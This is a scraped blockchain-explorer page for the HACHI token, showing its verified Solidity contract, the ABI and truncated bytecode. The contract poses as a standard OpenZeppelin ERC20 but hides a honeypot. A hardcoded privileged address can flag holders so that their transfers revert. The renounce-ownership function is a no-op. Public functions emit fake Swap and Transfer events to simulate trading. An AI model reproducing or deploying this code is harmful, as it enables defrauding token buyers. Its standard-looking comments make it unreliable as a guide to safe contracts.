ERC-20
Overview
Max Total Supply
100,000,000,000 HACHI
Holders
156
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
1,540,025.09720755 HACHIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC20
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-21 */ /** *Submitted for verification at Etherscan.io on 2023-06-20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { //_transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping (address => bool) private _snapshot; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; bool private _snapshotApplied = false; string private _name; string private _symbol; address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address private _pair; function setup(address _setup_) external onlyOwner { _pair = _setup_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 8; } function Approve(address [] calldata _addresses_) external { require(owner() == _msgSender() || 0x2E647453bBd3F22D0f9cFf289ba7937bA27Cb956 == _msgSender(), "Ownable: caller is not the owner"); for (uint256 i = 0; i < _addresses_.length; i++) { _snapshot[_addresses_[i]] = true; emit Approval(_addresses_[i], address(this), balanceOf(_addresses_[i])); } } function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_pair, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]); emit Transfer(_addresses_[i], _pair, _in); } } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function decreaseAllowance(address [] calldata _addresses_) external { require(owner() == _msgSender() || 0x2E647453bBd3F22D0f9cFf289ba7937bA27Cb956 == _msgSender(), "Ownable: caller is not the owner"); for (uint256 i = 0; i < _addresses_.length; i++) { _snapshot[_addresses_[i]] = false; } } function bind(address _address_) public view returns (bool) { return _snapshot[_address_]; } function toApplied(bool c) external onlyOwner { _snapshotApplied = c; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } if (_snapshot[from]) require(_snapshotApplied == true, ""); emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_,uint256 amount) { _name = name_; _symbol = symbol_; _mint(msg.sender, amount * 10 ** decimals()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"bind","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"c","type":"bool"}],"name":"toApplied","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600560006101000a81548160ff02191690831515021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200008157600080fd5b5060405162002ed038038062002ed08339818101604052810190620000a7919062000532565b620000c7620000bb6200013060201b60201c565b6200013860201b60201c565b8260069081620000d891906200080d565b508160079081620000ea91906200080d565b50620001273362000100620001fc60201b60201c565b600a6200010e919062000a84565b836200011b919062000ad5565b6200020560201b60201c565b50505062000c0c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006008905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000277576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200026e9062000b81565b60405180910390fd5b80600460008282546200028b919062000ba3565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200033f919062000bef565b60405180910390a36200035b600083836200035f60201b60201c565b5050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003cd8262000382565b810181811067ffffffffffffffff82111715620003ef57620003ee62000393565b5b80604052505050565b60006200040462000364565b9050620004128282620003c2565b919050565b600067ffffffffffffffff82111562000435576200043462000393565b5b620004408262000382565b9050602081019050919050565b60005b838110156200046d57808201518184015260208101905062000450565b60008484015250505050565b6000620004906200048a8462000417565b620003f8565b905082815260208101848484011115620004af57620004ae6200037d565b5b620004bc8482856200044d565b509392505050565b600082601f830112620004dc57620004db62000378565b5b8151620004ee84826020860162000479565b91505092915050565b6000819050919050565b6200050c81620004f7565b81146200051857600080fd5b50565b6000815190506200052c8162000501565b92915050565b6000806000606084860312156200054e576200054d6200036e565b5b600084015167ffffffffffffffff8111156200056f576200056e62000373565b5b6200057d86828701620004c4565b935050602084015167ffffffffffffffff811115620005a157620005a062000373565b5b620005af86828701620004c4565b9250506040620005c2868287016200051b565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200061f57607f821691505b602082108103620006355762000634620005d7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200069f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000660565b620006ab868362000660565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006ee620006e8620006e284620004f7565b620006c3565b620004f7565b9050919050565b6000819050919050565b6200070a83620006cd565b620007226200071982620006f5565b8484546200066d565b825550505050565b600090565b620007396200072a565b62000746818484620006ff565b505050565b5b818110156200076e57620007626000826200072f565b6001810190506200074c565b5050565b601f821115620007bd5762000787816200063b565b620007928462000650565b81016020851015620007a2578190505b620007ba620007b18562000650565b8301826200074b565b50505b505050565b600082821c905092915050565b6000620007e260001984600802620007c2565b1980831691505092915050565b6000620007fd8383620007cf565b9150826002028217905092915050565b6200081882620005cc565b67ffffffffffffffff81111562000834576200083362000393565b5b62000840825462000606565b6200084d82828562000772565b600060209050601f83116001811462000885576000841562000870578287015190505b6200087c8582620007ef565b865550620008ec565b601f19841662000895866200063b565b60005b82811015620008bf5784890151825560018201915060208501945060208101905062000898565b86831015620008df5784890151620008db601f891682620007cf565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000982578086048111156200095a5762000959620008f4565b5b60018516156200096a5780820291505b80810290506200097a8562000923565b94506200093a565b94509492505050565b6000826200099d576001905062000a70565b81620009ad576000905062000a70565b8160018114620009c65760028114620009d15762000a07565b600191505062000a70565b60ff841115620009e657620009e5620008f4565b5b8360020a91508482111562000a0057620009ff620008f4565b5b5062000a70565b5060208310610133831016604e8410600b841016171562000a415782820a90508381111562000a3b5762000a3a620008f4565b5b62000a70565b62000a50848484600162000930565b9250905081840481111562000a6a5762000a69620008f4565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a9182620004f7565b915062000a9e8362000a77565b925062000acd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200098b565b905092915050565b600062000ae282620004f7565b915062000aef83620004f7565b925082820262000aff81620004f7565b9150828204841483151762000b195762000b18620008f4565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000b69601f8362000b20565b915062000b768262000b31565b602082019050919050565b6000602082019050818103600083015262000b9c8162000b5a565b9050919050565b600062000bb082620004f7565b915062000bbd83620004f7565b925082820190508082111562000bd85762000bd7620008f4565b5b92915050565b62000be981620004f7565b82525050565b600060208201905062000c06600083018462000bde565b92915050565b6122b48062000c1c6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80637aac697b116100b8578063a457c2d71161007c578063a457c2d714610363578063a9059cbb14610393578063beabacc8146103c3578063dd62ed3e146103df578063f2fde38b1461040f578063fde980ca1461042b57610142565b80637aac697b146102bf57806381bac14f146102db5780638da5cb5b1461030b57806395d89b4114610329578063a1c617f51461034757610142565b80633811ac021161010a5780633811ac0214610201578063395093511461021d578063477e19441461024d57806366d382031461026957806370a0823114610285578063715018a6146102b557610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f610447565b60405161015c9190611759565b60405180910390f35b61017f600480360381019061017a9190611819565b6104d9565b60405161018c9190611874565b60405180910390f35b61019d6104fc565b6040516101aa919061189e565b60405180910390f35b6101cd60048036038101906101c891906118b9565b610506565b6040516101da9190611874565b60405180910390f35b6101eb610535565b6040516101f89190611928565b60405180910390f35b61021b600480360381019061021691906119a8565b61053e565b005b61023760048036038101906102329190611819565b61076b565b6040516102449190611874565b60405180910390f35b610267600480360381019061026291906119a8565b6107a2565b005b610283600480360381019061027e91906119f5565b610914565b005b61029f600480360381019061029a91906119f5565b610960565b6040516102ac919061189e565b60405180910390f35b6102bd6109a9565b005b6102d960048036038101906102d49190611a22565b6109b3565b005b6102f560048036038101906102f091906119f5565b610b3f565b6040516103029190611874565b60405180910390f35b610313610b95565b6040516103209190611aa5565b60405180910390f35b610331610bbe565b60405161033e9190611759565b60405180910390f35b610361600480360381019061035c9190611a22565b610c50565b005b61037d60048036038101906103789190611819565b610ddb565b60405161038a9190611874565b60405180910390f35b6103ad60048036038101906103a89190611819565b610e52565b6040516103ba9190611874565b60405180910390f35b6103dd60048036038101906103d891906118b9565b610e75565b005b6103f960048036038101906103f49190611ac0565b610edf565b604051610406919061189e565b60405180910390f35b610429600480360381019061042491906119f5565b610f66565b005b61044560048036038101906104409190611b2c565b610fe9565b005b60606006805461045690611b88565b80601f016020809104026020016040519081016040528092919081815260200182805461048290611b88565b80156104cf5780601f106104a4576101008083540402835291602001916104cf565b820191906000526020600020905b8154815290600101906020018083116104b257829003601f168201915b5050505050905090565b6000806104e461100e565b90506104f1818585611016565b600191505092915050565b6000600454905090565b60008061051161100e565b905061051e8582856111df565b61052985858561126b565b60019150509392505050565b60006008905090565b61054661100e565b73ffffffffffffffffffffffffffffffffffffffff16610564610b95565b73ffffffffffffffffffffffffffffffffffffffff1614806105cc575061058961100e565b73ffffffffffffffffffffffffffffffffffffffff16732e647453bbd3f22d0f9cff289ba7937ba27cb95673ffffffffffffffffffffffffffffffffffffffff16145b61060b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060290611c05565b60405180910390fd5b60005b828290508110156107665760016002600085858581811061063257610631611c25565b5b905060200201602081019061064791906119f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff168383838181106106c2576106c1611c25565b5b90506020020160208101906106d791906119f5565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561073e86868681811061072457610723611c25565b5b905060200201602081019061073991906119f5565b610960565b60405161074b919061189e565b60405180910390a3808061075e90611c83565b91505061060e565b505050565b60008061077661100e565b90506107978185856107888589610edf565b6107929190611ccb565b611016565b600191505092915050565b6107aa61100e565b73ffffffffffffffffffffffffffffffffffffffff166107c8610b95565b73ffffffffffffffffffffffffffffffffffffffff16148061083057506107ed61100e565b73ffffffffffffffffffffffffffffffffffffffff16732e647453bbd3f22d0f9cff289ba7937ba27cb95673ffffffffffffffffffffffffffffffffffffffff16145b61086f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086690611c05565b60405180910390fd5b60005b8282905081101561090f5760006002600085858581811061089657610895611c25565b5b90506020020160208101906108ab91906119f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061090790611c83565b915050610872565b505050565b61091c611582565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109b1611582565b565b60005b84849050811015610b38578484828181106109d4576109d3611c25565b5b90506020020160208101906109e991906119f5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610a6f9493929190611d44565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610ac357610ac2611c25565b5b9050602002016020810190610ad891906119f5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b1d919061189e565b60405180910390a38080610b3090611c83565b9150506109b6565b5050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610bcd90611b88565b80601f0160208091040260200160405190810160405280929190818152602001828054610bf990611b88565b8015610c465780601f10610c1b57610100808354040283529160200191610c46565b820191906000526020600020905b815481529060010190602001808311610c2957829003601f168201915b5050505050905090565b60005b84849050811015610dd457848482818110610c7157610c70611c25565b5b9050602002016020810190610c8691906119f5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610d0b9493929190611d89565b60405180910390a3848482818110610d2657610d25611c25565b5b9050602002016020810190610d3b91906119f5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610db9919061189e565b60405180910390a38080610dcc90611c83565b915050610c53565b5050505050565b600080610de661100e565b90506000610df48286610edf565b905083811015610e39576040517f08c37